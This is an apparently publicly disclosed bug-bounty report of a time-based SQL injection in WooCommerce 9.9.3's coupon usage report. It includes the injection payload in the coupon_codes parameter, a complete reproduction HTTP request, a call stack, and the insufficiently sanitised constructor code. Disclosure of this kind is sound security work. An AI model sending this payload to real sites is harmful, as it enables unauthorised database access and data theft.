HexBrain

Automattic · Report #3198980

Woocommerce SQL Injection in WC_Report_Coupon_Usage

Validstatus
mediumseverity
96upvotes
24 Jun 2025disclosed

How it was found

Summary:

A SQL injection vulnerability is found with required privililege is view reports. Endpoint: /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+- Vuln param: coupon_codes

Platform(s) Affected:

Woocommerce plugin version 9.9.3

Steps To Reproduce:

  1. Login with a user, for simplification please use admin account (Sorry I havent check the required priviliege carefully)
  2. Change host, cookie in this request with the logged in cookie, notify the coupon_codes param contain SQLi payload
GET /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+- HTTP/1.1
Host: <host>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie:<cookie of logged in session>
Connection: close

  1. Observe that the response is delayed which demonstrate the vulnerability exists/

Supporting Material/References:

I attached the screenshot of repeater with delay in response to demo the vulnerability, please check it. Callstack:

class-wc-admin-report.php:369, WC_Admin_Report->get_order_report_data()
class-wc-report-coupon-usage.php:449, WC_Report_Coupon_Usage->get_main_chart()
html-report-by-date.php:91, include()
class-wc-report-coupon-usage.php:153, WC_Report_Coupon_Usage->output_report()
class-wc-admin-reports.php:256, WC_Admin_Reports::get_report()
html-admin-page-reports.php:81, include_once()
class-wc-admin-reports.php:80, WC_Admin_Reports::output()
class-wc-admin-menus.php:348, WC_Admin_Menus->reports_page()
class-wp-hook.php:324, WP_Hook->apply_filters()
class-wp-hook.php:348, WP_Hook->do_action()
plugin.php:517, do_action()
admin.php:260, {main}()

The input is paramerter is coupon_codes which is not sanitized sufficiently in __construct method:

	public function __construct() {
		if ( isset( $_GET['coupon_codes'] ) && is_array( $_GET['coupon_codes'] ) ) {
			$this->coupon_codes = array_filter( array_map( 'sanitize_text_field', wp_unslash( $_GET['coupon_codes'] ) ) );
		} elseif ( isset( $_GET['coupon_codes'] ) ) {
			$this->coupon_codes = array_filter( array( sanitize_text_field( wp_unslash( $_GET['coupon_codes'] ) ) ) );
		}
	}

Impact

SQL Injection in Select query so attacker can extract sensitive data or leverage with other vulnerabilities.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original